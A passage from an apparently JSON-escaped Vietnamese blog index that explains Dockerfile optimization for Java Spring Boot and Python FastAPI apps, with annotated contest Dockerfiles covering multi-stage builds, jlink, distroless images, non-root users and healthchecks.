===\u0026#34; \u0026amp;\u0026amp; \\ \\ PLUGINS_TO_UPGRADE=${PLUGINS_TO_UPGRADE:-\u0026#34;org.springframework.boot org.sonarqube com.github.ben-manes.versions uk.gov.hmcts.java\u0026#34;} \u0026amp;\u0026amp; \\ EXTS_TO_UPGRADE=${EXTS_TO_UPGRADE:-\u0026#34;org.apache.logging.log4j ch.qos.logback\u0026#34;} \u0026amp;\u0026amp; \\ DEPENDENCIES_FORCE_UPDATE=${DEPENDENCIES_FORCE_UPDATE:-\u0026#34;org.apache.commons:commons-lang3:3.19.0\u0026#34;} \u0026amp;\u0026amp; \\ \\ escape_sed() { printf \u0026#39;%s\\n\u0026#39; \u0026#34;$1\u0026#34; | sed \u0026#39;s/[.[\\*^$/\u0026amp;]/\\\\\u0026amp;/g\u0026#39;; } \u0026amp;\u0026amp; \\ \\ # --- Plugin updates --- for plugin in $PLUGINS_TO_UPGRADE; do \\ LINE=$(grep -A1 \u0026#34;$plugin\u0026#34; \u0026#34;$REPORT_FILE\u0026#34; | grep \u0026#39;\\[\u0026#39; | head -1 || true); \\ OLD_VERSION=$(echo \u0026#34;$LINE\u0026#34; | sed -E \u0026#39;s/.*\\[(.*) -\u0026gt; .*\\].*/\\1/\u0026#39; || true); \\ NEW_VERSION=$(echo \u0026#34;$LINE\u0026#34; | sed -E \u0026#39;s/.*\\[.* -\u0026gt; (.*)\\].*/\\1/\u0026#39; || true); \\ if [ -n \u0026#34;$NEW_VERSION\u0026#34; ] \u0026amp;\u0026amp; [ \u0026#34;$NEW_VERSION\u0026#34; != \u0026#34;$OLD_VERSION\u0026#34; ]; then \\ echo \u0026#34;===== Upgrading plugin $plugin: $OLD_VERSION → $NEW_VERSION\u0026#34;; \\ ESC_OLD=$(escape_sed \u0026#34;$OLD_VERSION\u0026#34;); \\ ESC_NEW=$(escape_sed \u0026#34;$NEW_VERSION\u0026#34;); \\ sed -i \u0026#34;s#id \u0026#39;$plugin\u0026#39; version \u0026#39;$ESC_OLD\u0026#39;#id \u0026#39;$plugin\u0026#39; version \u0026#39;$ESC_NEW\u0026#39;#g\u0026#34; build.gradle; \\ fi; \\ done \u0026amp;\u0026amp; \\ \\ # --- ext{} version updates --- for prefix in $EXTS_TO_UPGRADE; do \\ LINE=$(grep -A1 \u0026#34;$prefix\u0026#34; \u0026#34;$REPORT_FILE\u0026#34; | grep \u0026#39;\\[\u0026#39; | head -1 || true); \\ OLD_VERSION=$(echo \u0026#34;$LINE\u0026#34; | sed -E \u0026#39;s/.*\\[(.*) -\u0026gt; .*\\].*/\\1/\u0026#39; || true); \\ NEW_VERSION=$(echo \u0026#34;$LINE\u0026#34; | sed -E \u0026#39;s/.*\\[.* -\u0026gt; (.*)\\].*/\\1/\u0026#39; || true); \\ if [ -n \u0026#34;$NEW_VERSION\u0026#34; ] \u0026amp;\u0026amp; [ \u0026#34;$NEW_VERSION\u0026#34; != \u0026#34;$OLD_VERSION\u0026#34; ]; then \\ echo \u0026#34;===== Upgrading prefix $prefix: $OLD_VERSION → $NEW_VERSION\u0026#34;; \\ ESC_OLD=$(escape_sed \u0026#34;$OLD_VERSION\u0026#34;); \\ ESC_NEW=$(escape_sed \u0026#34;$NEW_VERSION\u0026#34;); \\ sed -i \u0026#34;s/\\\u0026#34;$ESC_OLD\\\u0026#34;/\\\u0026#34;$ESC_NEW\\\u0026#34;/g\u0026#34; build.gradle; \\ fi; \\ done \u0026amp;\u0026amp; \\ \\ # --- Force dependency updates with explicit GAV --- for dep in $DEPENDENCIES_FORCE_UPDATE; do \\ GROUP=$(echo \u0026#34;$dep\u0026#34; | cut -d\u0026#39;:\u0026#39; -f1); \\ NAME=$(echo \u0026#34;$dep\u0026#34; | cut -d\u0026#39;:\u0026#39; -f2); \\ NEW_VERSION=$(echo \u0026#34;$dep\u0026#34; | cut -d\u0026#39;:\u0026#39; -f3); \\ if [ -z \u0026#34;$GROUP\u0026#34; ] || [ -z \u0026#34;$NAME\u0026#34; ] || [ -z \u0026#34;$NEW_VERSION\u0026#34; ]; then \\ echo \u0026#34;====== Invalid DEPENDENCIES_FORCE_UPDATE format for $dep, expected group:name:version\u0026#34;; \\ continue; \\ fi; \\ echo \u0026#34;====== Forcing dependency update: $GROUP:$NAME → $NEW_VERSION\u0026#34;; \\ ESC_GROUP=$(escape_sed \u0026#34;$GROUP\u0026#34;); \\ ESC_NAME=$(escape_sed \u0026#34;$NAME\u0026#34;); \\ ESC_NEW=$(escape_sed \u0026#34;$NEW_VERSION\u0026#34;); \\ if grep -q \u0026#34;$ESC_GROUP\u0026#34; build.gradle | grep -q \u0026#34;$ESC_NAME\u0026#34;; then \\ # Replace existing dependency version sed -i \u0026#34;s#group: \u0026#39;$ESC_GROUP\u0026#39;, name: \u0026#39;$ESC_NAME\u0026#39;, version: \u0026#39;[^\u0026#39;]*\u0026#39;#group: \u0026#39;$ESC_GROUP\u0026#39;, name: \u0026#39;$ESC_NAME\u0026#39;, version: \u0026#39;$ESC_NEW\u0026#39;#g\u0026#34; build.gradle; \\ else \\ # Insert new dependency inside dependencies { } echo \u0026#34;====== Adding new dependency $GROUP:$NAME:$NEW_VERSION\u0026#34;; \\ sed -i \u0026#34;/dependencies\\s*{/a\\ implementation group: \u0026#39;$GROUP\u0026#39;, name: \u0026#39;$NAME\u0026#39;, version: \u0026#39;$NEW_VERSION\u0026#39;\u0026#34; build.gradle; \\ fi; \\ done \u0026amp;\u0026amp; \\ \\ echo \u0026#34;Version upgrade complete!\u0026#34; \u0026amp;\u0026amp; \\ cat build.gradle # Build the application JAR after dependency check RUN ./gradlew --no-daemon bootJar # Generate java healthcheck class RUN mkdir -p /app/health \u0026amp;\u0026amp; cat \u0026gt; /app/health/HealthCheck.java \u0026lt;\u0026lt;\u0026#39;EOF\u0026#39; import java.net.HttpURLConnection; import java.net.URL; import java.time.Instant; public class HealthCheck { public static void main(String[] args) { String healthUrl = \u0026#34;http://localhost:8080/health\u0026#34;; try { URL url = new URL(healthUrl); HttpURLConnection conn = (HttpURLConnection) url.openConnection(); conn.setConnectTimeout(2000); conn.setReadTimeout(2000); conn.setRequestMethod(\u0026#34;GET\u0026#34;); int code = conn.getResponseCode(); if (code == 200) { System.out.println(Instant.now() + \u0026#34;Healthcheck OK (\u0026#34; + code + \u0026#34;)\u0026#34;); System.exit(0); } else { System.err.println(Instant.now() + \u0026#34;Healthcheck failed (\u0026#34; + code + \u0026#34;)\u0026#34;); System.exit(1); } } catch (Exception e) { System.err.println(Instant.now() + \u0026#34; Healthcheck error: \u0026#34; + e.getMessage()); System.exit(1); } } } EOF # Compile HealthCheck.java file RUN javac /app/health/HealthCheck.java # Stage 2 — Runtime image (auto-updated base) FROM hmctspublic.azurecr.io/base/java:21-distroless WORKDIR /app # Copy compiled app COPY --from=builder /app/build/libs/*.jar app.jar # Copy complied healthcheck class COPY --from=builder /app/health/HealthCheck.class /app/HealthCheck.class EXPOSE 8080 ENTRYPOINT [\u0026#34;java\u0026#34;, \u0026#34;-jar\u0026#34;, \u0026#34;app.jar\u0026#34;] HEALTHCHECK --interval=15s --timeout=5s --start-period=10s --retries=3 \\ CMD [\u0026#34;java\u0026#34;, \u0026#34;HealthCheck\u0026#34;] Dockerfile TOP (Java) – Dung Cao (Alpine JDK/JRE tối ưu) Kỹ thuật Giải thích theo tác giả Nguồn tham khảo Tách riêng JDK/JRE bằng ARG Dùng ARG BUILD_JDK_IMAGE và RUNTIME_IMAGE để dễ đổi base image (JDK cho build, JRE cho runtime), vẫn giữ Dockerfile đơn giản. Gradle cache với BuildKit Dùng --mount=type=cache,target=/cache/.gradle cho các lệnh ./gradlew để tối ưu thời gian build lặp lại. Không chạy test trong build image bootJar -x test giúp build nhanh hơn cho môi trường CI/CD và Docker contest (ưu tiên ra artifact). Non-root user + chown Tạo user/group app, --chown=app:app khi copy JAR đảm bảo runtime an toàn, tuân CIS Docker Benchmark. Healthcheck với curl Cài curl (apk add \u0026ndash;no-cache) rồi dùng curl -fsS tới /health cho healthcheck rõ ràng, dễ debug. JVM tuning cho container JAVA_OPTS bật UseContainerSupport, MaxRAMPercentage=75, G1GC, ExitOnOutOfMemoryError, heap dump path… giúp JVM hiểu giới hạn container và fail-fast khi OOM. Dockerfile TOP (JAVA) – Dung Cao\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 # Dockerfile.txt # === Alpine build optimized for Dockerfile Contest 2025 === # Focus: security, lightweight, clear, maintainable # Build-time arguments ARG BUILD_JDK_IMAGE=eclipse-temurin:21-jdk-alpine-3.22 ARG RUNTIME_IMAGE=eclipse-temurin:21-jre-alpine-3.22 # ---------- Stage: builder ---------- FROM ${BUILD_JDK_IMAGE} AS builder # Set non-interactive environment \u0026amp; reproducible timezone ENV TZ=UTC \\ LANG=C.UTF-8 \\ LC_ALL=C.UTF-8 \\ GRADLE_USER_HOME=/cache/.gradle WORKDIR /workspace # Copy Gradle wrapper and descriptors COPY gradlew . COPY gradle/ gradle/ COPY build.gradle ./ RUN chmod +x ./gradlew # Resolve dependencies using BuildKit cache mount RUN --mount=type=cache,target=/cache/.gradle \\ ./gradlew --no-daemon dependencies || true # Copy application source COPY src/ src/ RUN --mount=type=cache,target=/cache/.gradle \\ ./gradlew --no-daemon clean bootJar -x test \\ -Dspring-framework.version=6.2.11 \\ -Dcommons-lang3.version=3.18.0 \\ -Dtomcat.version=10.1.47 # ---------- Stage: runtime ---------- FROM ${RUNTIME_IMAGE} AS runtime ARG VERSION ARG VCS_REF ARG BUILD_DATE ARG LICENSE=\u0026#34;MIT License\u0026#34; ARG SOURCE=\u0026#34;contest-submission\u0026#34; # OCI Labels (metadata) LABEL org.opencontainers.image.title=\u0026#34;spring-boot-template\u0026#34; \\ org.opencontainers.image.description=\u0026#34;Spring Boot Java application built for Dockerfile Contest 2025\u0026#34; \\ org.opencontainers.image.url=\u0026#34;${SOURCE}\u0026#34; \\ org.opencontainers.image.source=\u0026#34;${SOURCE}\u0026#34; \\ org.opencontainers.image.version=\u0026#34;${VERSION}\u0026#34; \\ org.opencontainers.image.revision=\u0026#34;${VCS_REF}\u0026#34; \\ org.opencontainers.image.licenses=\u0026#34;${LICENSE}\u0026#34; \\ org.opencontainers.image.created=\u0026#34;${BUILD_DATE}\u0026#34; \\ org.opencontainers.image.authors=\u0026#34;Dung Cao\u0026#34; # Create non-root user RUN addgroup -S app \u0026amp;\u0026amp; adduser -S app -G app WORKDIR /app # Copy application jar COPY lib/applicationinsights.json applicationinsights.json COPY --from=builder --chown=app:app /workspace/build/libs/*.jar app.jar # Install curl for healthcheck RUN apk add --no-cache curl \\ \u0026amp;\u0026amp; rm -rf /var/cache/apk/* # Expose HTTP port EXPOSE 8080 # Healthcheck HEALTHCHECK --interval=10s --timeout=3s --start-period=10s --retries=3 \\ CMD curl -fsS http://127.0.0.1:8080/health || exit 1 # JVM optimization ENV JAVA_OPTS=\u0026#34;\\ -XX:+UseContainerSupport \\ -XX:MaxRAMPercentage=75.0 \\ -Djava.security.egd=file:/dev/./urandom \\ -Dserver.shutdown=graceful \\ -Dspring.lifecycle.timeout-per-shutdown-phase=10s \\ -Dfile.encoding=UTF-8 \\ -XX:+ExitOnOutOfMemoryError \\ -XX:+UseG1GC \\ -XX:+HeapDumpOnOutOfMemoryError \\ -XX:HeapDumpPath=/tmp \\ \u0026#34; # Graceful termination signal STOPSIGNAL SIGTERM # Switch to non-root user USER app # --- Entry point --- ENTRYPOINT [\u0026#34;sh\u0026#34;, \u0026#34;-c\u0026#34;, \u0026#34;exec java ${JAVA_OPTS} -jar /app/app.jar\u0026#34;] Dockerfile TOP (tham khảo – Java) – HMCTS Spring Boot Template (Layered + jlink) Kỹ thuật Giải thích theo tác giả Nguồn tham khảo Gradle cache + tách layer Dùng BuildKit cache id=gradle-cache cho Gradle, sau đó dùng jarmode=layertools để extract các lớp dependencies, spring-boot-loader, snapshot-dependencies, application giúp cache Docker layer tối đa. Custom JRE với jlink Chạy jlink với danh sách module Java chọn tay để tạo JRE tối thiểu (/jre-minimal), giảm hơn 100MB so với JDK full. Alpine runtime tối thiểu Runtime base alpine:3.21 chỉ cài ca-certificates, tzdata, tini, curl, sau đó chạy với non-root appuser. JAVA_TOOL_OPTIONS cho container Tối ưu JVM: UseContainerSupport, MaxRAMPercentage, UseG1GC, UseStringDeduplication, ExitOnOutOfMemoryError,… để tối ưu memory \u0026amp; GC trong container. OCI labels rất đầy đủ Ghi rõ vendor, authors, source, version, revision, base.name, base.digest, com.hmcts.*… giúp traceability cho tổ chức. Healthcheck dùng curl Healthcheck /health qua curl -f, retry có cấu hình hợp lý cho Spring Boot khởi động. Dockerfile TOP (tham khảo – JAVA) – HMCTS Spring Boot Template\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 # syntax=docker/dockerfile:1.7 # ============================================================================ # STAGE 1: Application builder with optimized caching # ============================================================================ FROM eclipse-temurin:21-jdk-alpine@sha256:89517925fa675c6c4b770bee7c44d38a7763212741b0d6fca5a5103caab21a97 AS builder # Install build dependencies (minimal) RUN apk add --no-cache binutils \u0026amp;\u0026amp; \\ rm -rf /var/cache/apk/* WORKDIR /build # Copy Gradle wrapper and dependency definition files first # This layer will be cached until these files change COPY gradle/ gradle/ COPY gradlew build.gradle ./ # Download dependencies with BuildKit cache mount for faster subsequent builds RUN --mount=type=cache,id=gradle-cache,target=/root/.gradle,sharing=locked \\ chmod +x gradlew \u0026amp;\u0026amp; \\ ./gradlew dependencies --no-daemon --parallel --console=plain # Copy only production source code (exclude tests, docs, etc.) COPY src/main/ src/main/ # Build optimized JAR with cache mount RUN --mount=type=cache,id=gradle-cache,target=/root/.gradle,sharing=locked \\ ./gradlew bootJar --no-daemon --parallel --console=plain -x test \u0026amp;\u0026amp; \\ mkdir -p /app \u0026amp;\u0026amp; \\ mv build/libs/spring-boot-template.jar /app/app.jar # Extract Spring Boot layers for optimal Docker layer caching WORKDIR /app RUN java -Djarmode=layertools -jar app.jar extract --destination /app/extracted # Create minimal custom JRE with jlink (reduces size by \u0026gt;100MB) # Only include Java modules actually needed by Spring Boot RUN $JAVA_HOME/bin/jlink \\ --add-modules java.base,java.compiler,java.desktop,java.instrument,java.management,java.management.rmi,java.naming,java.net.http,java.prefs,java.rmi,java.scripting,java.security.jgss,java.security.sasl,java.sql,jdk.httpserver,jdk.jfr,jdk.unsupported \\ --strip-debug \\ --no-man-pages \\ --no-header-files \\ --compress=zip-9 \\ --output /jre-minimal # ============================================================================ # STAGE 3: Minimal runtime image # ============================================================================ FROM alpine:3.21@sha256:5405e8f36ce1878720f71217d664aa3dea32e5e5df11acbf07fc78ef5661465b # Install only critical runtime dependencies # ca-certificates: for HTTPS connections # tini: proper init system for PID 1 # tzdata: timezone support # curl: for healthcheck RUN apk upgrade --no-cache \u0026amp;\u0026amp; \\ apk add --no-cache \\ ca-certificates \\ tzdata \\ tini \\ curl \u0026amp;\u0026amp; \\ rm -rf /var/cache/apk/* /tmp/* # Create non-root user for security (CIS Docker Benchmark compliance) RUN addgroup -g 1654 -S appgroup \u0026amp;\u0026amp; \\ adduser -u 1654 -S appuser -G appgroup # Copy minimal custom JRE from builder COPY --from=builder --chown=1654:1654 /jre-minimal /opt/java # Set up application directory with proper ownership WORKDIR /app # Copy Spring Boot layers in optimal order (least to most frequently changed) # This maximizes Docker layer cache efficiency COPY --from=builder --chown=1654:1654 /app/extracted/dependencies/ ./ COPY --from=builder --chown=1654:1654 /app/extracted/spring-boot-loader/ ./ COPY --from=builder --chown=1654:1654 /app/extracted/snapshot-dependencies/ ./ COPY --from=builder --chown=1654:1654 /app/extracted/application/ ./ # Switch to non-root user (security best practice) USER 1654:1654 # Set JAVA_HOME and PATH ENV JAVA_HOME=/opt/java \\ PATH=\u0026#34;/opt/java/bin:${PATH}\u0026#34; # Optimal JVM flags for containerized Spring Boot applications # - UseContainerSupport: respect container memory limits # - MaxRAMPercentage: use max 75% of container memory for heap # - UseG1GC: best GC for containers with predictable pause times # - UseStringDeduplication: reduce memory footprint # - ExitOnOutOfMemoryError: fail fast on OOM # - TieredCompilation with level 1: faster startup, good for short-lived containers ENV JAVA_TOOL_OPTIONS=\u0026#34;-XX:+UseContainerSupport \\ -XX:MaxRAMPercentage=75.0 \\ -XX:InitialRAMPercentage=50.0 \\ -XX:+UseG1GC \\ -XX:MaxGCPauseMillis=100 \\ -XX:+UseStringDeduplication \\ -XX:+ParallelRefProcEnabled \\ -XX:+DisableExplicitGC \\ -XX:+ExitOnOutOfMemoryError \\ -Djava.security.egd=file:/dev/./urandom \\ -Djava.awt.headless=true\u0026#34; # Application server port EXPOSE 8080 # Comprehensive OCI labels for traceability and compliance LABEL org.opencontainers.image.title=\u0026#34;Spring Boot Template\u0026#34; \\ org.opencontainers.image.description=\u0026#34;HMCTS Spring Boot Template - Optimized for Contest 2025\u0026#34; \\ org.opencontainers.image.vendor=\u0026#34;HMCTS Reform Programme\u0026#34; \\ org.opencontainers.image.authors=\u0026#34;HMCTS \u0026lt;hmcts@justice.gov.uk\u0026gt;\u0026#34; \\ org.opencontainers.image.source=\u0026#34;https://github.com/hmcts/spring-boot-template\u0026#34; \\ org.opencontainers.image.version=\u0026#34;0.0.1\u0026#34; \\ org.opencontainers.image.revision=\u0026#34;contest-2025\u0026#34; \\ org.opencontainers.image.licenses=\u0026#34;MIT\u0026#34; \\ org.opencontainers.image.base.name=\u0026#34;docker.io/library/alpine:3.21\u0026#34; \\ org.opencontainers.image.base.digest=\u0026#34;sha256:5405e8f36ce1878720f71217d664aa3dea32e5e5df11acbf07fc78ef5661465b\u0026#34; \\ maintainer=\u0026#34;HMCTS Reform Team\u0026#34; \\ com.hmcts.app.name=\u0026#34;spring-boot-template\u0026#34; \\ com.hmcts.build.date=\u0026#34;2025-10-27\u0026#34; # Health check using Spring Boot Actuator /health endpoint # Using curl for lightweight health checks HEALTHCHECK --interval=30s --timeout=5s --start-period=60s --retries=3 \\ CMD curl -f http://localhost:8080/health || exit 1 # Use tini as init system for proper signal handling # Ensures graceful shutdown and zombie process reaping ENTRYPOINT [\u0026#34;/sbin/tini\u0026#34;, \u0026#34;--\u0026#34;] # Run Spring Boot application # Using exec form to ensure proper signal propagation CMD [\u0026#34;java\u0026#34;, \u0026#34;org.springframework.boot.loader.launch.JarLauncher\u0026#34;] Ghi chú triển khai Khi áp dụng cho dự án Java của bạn, hãy giữ nguyên các nguyên tắc chính mà các Dockerfile trên thể hiện: Multi-stage build rõ ràng (builder + runtime). Tối ưu JRE (dùng jdeps + jlink, base image Java distroless hoặc JRE-only image). Healthcheck rõ ràng (native Java hoặc wget/curl). Tối ưu dependency (tự động hoặc thủ công) để giảm CVE. Khi copy template về dự án riêng, bạn nên: Cập nhật lại LABEL org.opencontainers.image.source cho đúng repository của bạn. Điều chỉnh endpoint healthcheck (/health, /actuator/health\u0026hellip;) cho trùng với app thực tế. Thử build và scan image với các tool như Trivy để kiểm tra security sau khi tối ưu. ","date":"29/11/2025","image":"https://tech.nguuyen.io.vn/images/docker-optimization/docker-optimization-java.webp","permalink":"/vi/posts/docker-optimization/docker-opt-java/","summary":"Phân tích các kỹ thuật tối ưu Dockerfile từ Dockerfile Contest 2025 cho ứng dụng Java Spring Boot.","tags":["docker","java","spring-boot","performance"],"title":"Tối ưu Docker cho Java"},{"categories":["Docker Optimization"],"content":"Dockerfile Contest 2025 – Python tối ưu extreme Dockerfile Contest 2025 thúc đẩy cộng đồng DevOps Việt Nam đánh giá lại cách viết Dockerfile để đạt bảo mật, tối ưu, tường minh. Dưới đây là phần tổng hợp riêng cho hạng mục Python (ứng dụng FastAPI backend service).\nI. Hạng mục PYTHON (Tối ưu cho Backend Service) Hạng mục Python tập trung vào việc tối ưu kích thước image, bảo mật (patch CVE), và hiệu năng runtime cho các ứng dụng FastAPI. Các giải pháp đa dạng từ distroless, Alpine tối giản, đến wheel-based builds.\nDockerfile TOP 1 (Python) – Thanh Nguyen The Kỹ thuật Giải thích theo tác giả Nguồn tham khảo UV Package Manager Sử dụng uv thay vì pip để tăng tốc độ cài đặt dependencies và quản lý virtual environment hiệu quả hơn. Distroless Base Image Dùng gcr.io/distroless/base-debian12:nonroot để giảm attack surface, không có shell, package manager, hoặc các công cụ không cần thiết. Multi-arch Support Hỗ trợ cả amd64 và arm64 bằng cách copy shared libraries theo kiến trúc tương ứng. Shared Libraries Copy Copy các thư viện cần thiết (libc, libm, libz, libgcc_s) từ builder stage để ứng dụng chạy được trong distroless. Security Patching Nâng cấp starlette lên 0.49.1 để fix CVE-2025-62727 và CVE-2025-54121 mà không cần sửa pyproject.toml. LD_LIBRARY_PATH Thiết lập biến môi trường để hệ thống tìm thấy shared libraries tại thư mục tùy chỉnh. Dockerfile TOP 1 (Python)\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 FROM ghcr.io/astral-sh/uv:python3.13-bookworm-slim@sha256:6b8ac7bb76766ffe9f6cc20f56789755d539e8d0e605d8983131227c5c8b87a1 AS builder ENV UV_LINK_MODE=copy ARG TARGETARCH # Copy shared libraries đủ để chạy ứng dụng trong môi trường distroless # Kiểm tra shared libraries cần thiết với lệnh: # ldd $(which python3) và các thư viện khác trong virtual environment sau khi cài đặt các package cần thiết (kiểm tra trước khi build) # Mỗi kiến trúc sẽ đặt thư viện trong các thư mục khác nhau, ví dụ: /lib/x86_64-linux-gnu/ cho amd64, /lib/aarch64-linux-gnu/ cho arm64 # do đó cần xác định kiến trúc và copy từ thư mục tương ứng. # TARGETARCH là built-in arg của docker buildx, tự động nhận giá trị (amd64 hoặc arm64) khi build multi-arch # Shared libraries copy ở lệnh phía dưới là chưa đủ để chạy ứng dụng, tuy nhiên gcr.io/distroless/base-debian12 (image sử dụng làm base image cho runtime tại runtime state) đã có sẵn một số shared libraries nên chỉ cần copy những thư viện còn thiếu. # gcr.io/distroless/base-debian12:nonroot không có shell, kiểm tra shared libraries bằng cách sử dụng gcr.io/distroless/base-debian12:debug # gcr.io/distroless/base-debian12:debug tương tự gcr.io/distroless/base-debian12:nonroot nhưng có thêm shell để phục vụ debug. RUN if [ \u0026#34;$TARGETARCH\u0026#34; = \u0026#34;amd64\u0026#34; ]; then \\ LIBARCH=\u0026#34;x86_64\u0026#34;; \\ elif [ \u0026#34;$TARGETARCH\u0026#34; = \u0026#34;arm64\u0026#34; ]; then \\ LIBARCH=\u0026#34;aarch64\u0026#34;; \\ else \\ LIBARCH=\u0026#34;unknown\u0026#34;; \\ fi \u0026amp;\u0026amp; \\ mkdir -p /lib/multi-arch \u0026amp;\u0026amp; \\ cp /lib/${LIBARCH}-linux-gnu/libc.so.6 /lib/multi-arch/ \u0026amp;\u0026amp; \\ cp /lib/${LIBARCH}-linux-gnu/libm.so.6 /lib/multi-arch/ \u0026amp;\u0026amp; \\ cp /lib/${LIBARCH}-linux-gnu/libz.so.1 /lib/multi-arch/ \u0026amp;\u0026amp; \\ cp /lib/${LIBARCH}-linux-gnu/libgcc_s.so.1 /lib/multi-arch/ WORKDIR /build # Sử dụng cache để tăng tốc độ build # Cài đặt dependencies trong uv virtual environment # Sử dụng mount type=bind để bind các file uv.lock và pyproject.toml từ host vào container mount thay vì copy. # --frozen để đảm bảo chỉ cài đặt đúng phiên bản dependencies trong uv.lock, không update uv.lock # --no-install-project để không cài đặt project hiện tại (chỉ cài đặt dependencies) # --no-dev để không cài đặt dev dependencies # --no-editable để không cài đặt editable mode # starlette 0.46.2 dính CVE-2025-62727 CVE-2025-54121, nâng cấp để vá lỗi bảo mật (do thay đổi pyproject.toml và file uv.lock sẽ vi phạm nội quy nên chạy lệnh install riêng) RUN --mount=type=cache,target=/root/.cache/uv \\ --mount=type=bind,source=uv.lock,target=uv.lock \\ --mount=type=bind,source=pyproject.toml,target=pyproject.toml \\ uv sync --frozen --no-install-project --no-dev --no-editable \u0026amp;\u0026amp; \\ uv pip install \u0026#34;starlette==0.49.1\u0026#34; --no-deps # Sử dụng distroless làm base image cho runtime để đảm bảo tính bảo mật và tối ưu kích thước image # Chọn distroless thay vì alpine vì alpine sử dụng musl libc, trong khi python và nhiều thư viện phổ biến trong python được biên dịch với glibc, dẫn đến các vấn đề tương thích. # distroless giúp ứng dụng chạy ổn định hơn và cũng rất nhẹ. # cc-debian12 có nhiều shared libraries cần thiết cho python và các package phổ biến hơn so với base-debian12 # tuy nhiên khi đã kiểm tra kỹ các shared libraries cần thiết (với lệnh ldd) và copy đầy đủ từ builder stage thì base-debian12 sẽ giúp tối ưu kích thước image hơn mà vẫn đảm bảo ứng dụng chạy ổn định. FROM gcr.io/distroless/base-debian12:nonroot@sha256:10136f394cbc891efa9f20974a48843f21a6b3cbde55b1778582195d6726fa85 AS runtime LABEL maintainer=\u0026#34;Thanh Nguyen The\u0026#34; LABEL maintainer.email=\u0026#34;thanhnt.devops@gmail.com\u0026#34; LABEL maintainer.company=\u0026#34;VIETNAM NATIONAL CYBER SECURITY TECHNOLOGY CORPORATION\u0026#34; LABEL maintainer.youtube=\u0026#34;DevOps Mentor\u0026#34; LABEL image.description=\u0026#34;Secure, minimal Python app using UV and Distroless\u0026#34; WORKDIR /app # Copy các thư viện và python từ builder stage COPY --from=builder /lib/multi-arch/ /lib/multi-arch/ COPY --from=builder /usr/local/lib/libpython3.13.so.1.0 /usr/local/lib/libpython3.13.so.1.0 COPY --from=builder /usr/local/lib/python3.13/ /usr/local/lib/python3.13/ COPY --from=builder /usr/local/bin/python /usr/local/bin/python3 # Copy virtual environment từ builder COPY --from=builder --chown=nonroot:nonroot /build/.venv/ /app/.venv/ # Copy source code - chỉ copy những gì cần thiết COPY --chown=nonroot:nonroot src/ ./src/ # Thiết lập environment variables # Do runtime limit là 1 vCPU, 512MB RAM nên thiết lập WORKERS=2 thay vì 3 (nguy cơ OOM). Công thức worker = (2 x số lượng vCPU + 1) chỉ áp dụng trong trường hợp \u0026gt; 1GB RAM # LD_LIBRARY_PATH để hệ thống có thể tìm thấy các shared libraries cần thiết tại thư mục mới thay vì thư mục mặc đinh (/lib/x86_64-linux-gnu hoặc /lib/aarch64-linux-gnu) # shared libraries không có trong /lib/multi-arch sẽ tiếp tục được load từ thư mục mặc định của hệ thống ENV PATH=\u0026#34;/app/.venv/bin/:$PATH\u0026#34; \\ PYTHONPATH=\u0026#34;/app/src/\u0026#34; \\ LANG=C.UTF-8 \\ PYTHONUNBUFFERED=1 \\ PYTHONFAULTHANDLER=1 \\ PYTHONDONTWRITEBYTECODE=1 \\ PYTHONHASHSEED=random \\ HOST=0.0.0.0 \\ PORT=8080 \\ WORKERS=2 \\ LOGGING__LEVEL=INFO \\ LOGGING__FORMAT=PLAIN \\ COFFEE_API__HOST=\u0026#34;https://api.sampleapis.com/coffee/\u0026#34; \\ APP_VERSION=0.1.0 \\ GIT_COMMIT_SHA=sha \\ LD_LIBRARY_PATH=/lib/multi-arch # nonroot user mặc định đã được sử dụng trong distroless base-debian12:nonroot nên không cần thiết phải thêm lệnh phía dưới # USER nonroot:nonroot # Expose port mặc định EXPOSE 8080 # Command để chạy ứng dụng ENTRYPOINT [\u0026#34;python\u0026#34;, \u0026#34;src/python_service_template/app.py\u0026#34;] Dockerfile TOP 2 (Python) – newnol Kỹ thuật Giải thích theo tác giả Nguồn tham khảo Alpine Base Image Sử dụng python:3.13-alpine để có image nhỏ hơn so với Debian-based images. Security Patches Cập nhật các package có CVE: starlette, fastapi, aiohttp, pydantic, structlog, uvloop, uvicorn lên phiên bản an toàn. Ultra Aggressive Optimization Strip tất cả .so files, xóa __pycache__, test, doc, examples, typing stubs, license files để giảm kích thước. Python Stdlib Cleanup Xóa các module không cần thiết như pip, setuptools, wheel, tkinter, distutils, lib2to3, idlelib, test, unittest. Non-root User Tạo user UID 10001 với quyền tối thiểu để tăng bảo mật. Healthcheck Sử dụng wget để kiểm tra endpoint /health/ với timeout ngắn. Dockerfile TOP 2 (Python)\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 # syntax=docker/dockerfile:1.7 # ============================================================================= # DOCKERFILE ULTRA OPTIMIZED + SECURITY PATCHED # Mục tiêu: Nhẹ (\u0026lt;110MB) + Bảo mật cao (0 CVEs) # 